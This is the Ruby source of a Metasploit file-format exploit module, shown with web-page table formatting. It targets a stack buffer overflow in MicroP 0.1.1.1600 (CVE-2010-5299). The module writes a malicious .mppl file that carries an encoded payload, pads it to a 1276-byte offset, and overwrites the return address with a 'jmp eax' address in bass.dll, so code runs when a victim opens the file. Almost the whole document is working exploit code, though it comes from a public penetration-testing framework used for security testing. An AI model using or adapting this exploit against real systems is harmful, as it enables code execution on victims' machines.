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metasploit-framework/modules/exploits/windows/fileformat/microp_mppl.rb /
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| ## | |
| # This module requires Metasploit: https://metasploit.com/download | |
| # Current source: https://github.com/rapid7/metasploit-framework | |
| ## | |
| class MetasploitModule < Msf::Exploit::Remote | |
| Rank = GreatRanking | |
| include Msf::Exploit::FILEFORMAT | |
| def initialize(info = {}) | |
| super(update_info(info, | |
| 'Name' => 'MicroP 0.1.1.1600 (MPPL File) Stack Buffer Overflow', | |
| 'Description' => %q{ | |
| This module exploits a vulnerability found in MicroP 0.1.1.1600. A stack-based | |
| buffer overflow occurs when the content of a .mppl file gets copied onto the stack, | |
| which overwrites the lpFileName parameter of a CreateFileA() function, and results | |
| arbitrary code execution under the context of the user. | |
| }, | |
| 'License' => MSF_LICENSE, | |
| 'Author' => [ 'James Fitts <fitts.james[at]gmail.com>' ], | |
| 'References' => | |
| [ | |
| [ 'CVE', '2010-5299' ], | |
| [ 'OSVDB', '73627'], | |
| [ 'EDB', '14720' ], | |
| ], | |
| 'DefaultOptions' => | |
| { | |
| 'EXITFUNC' => 'process', | |
| 'DisablePayloadHandler' => true | |
| }, | |
| 'Payload' => | |
| { | |
| 'Space' => 728, | |
| 'BadChars' => "\x00\x0a\x0d", | |
| }, | |
| 'Platform' => 'win', | |
| 'Targets' => | |
| [ | |
| [ | |
| 'Windows XP SP3 / Vista / 7', | |
| { | |
| 'Ret' => 0x100145b5, #jmp eax in bass.dll | |
| 'Offset' => 1276, #Offset to overwrite EIP | |
| } | |
| ], | |
| ], | |
| 'Privileged' => false, | |
| 'DisclosureDate' => '2010-08-23', | |
| 'DefaultTarget' => 0)) | |
| register_options( | |
| [ | |
| OptString.new('FILENAME', [ true, 'The file name.', 'msf.mppl']), | |
| ]) | |
| end | |
| def exploit | |
| mppl = payload.encoded | |
| mppl << rand_text_alpha(target['Offset'] - payload.encoded.length) | |
| mppl << [target.ret].pack('V') | |
| print_status("Creating '#{datastore['FILENAME']}' file ...") | |
| file_create(mppl) | |
| end | |
| end |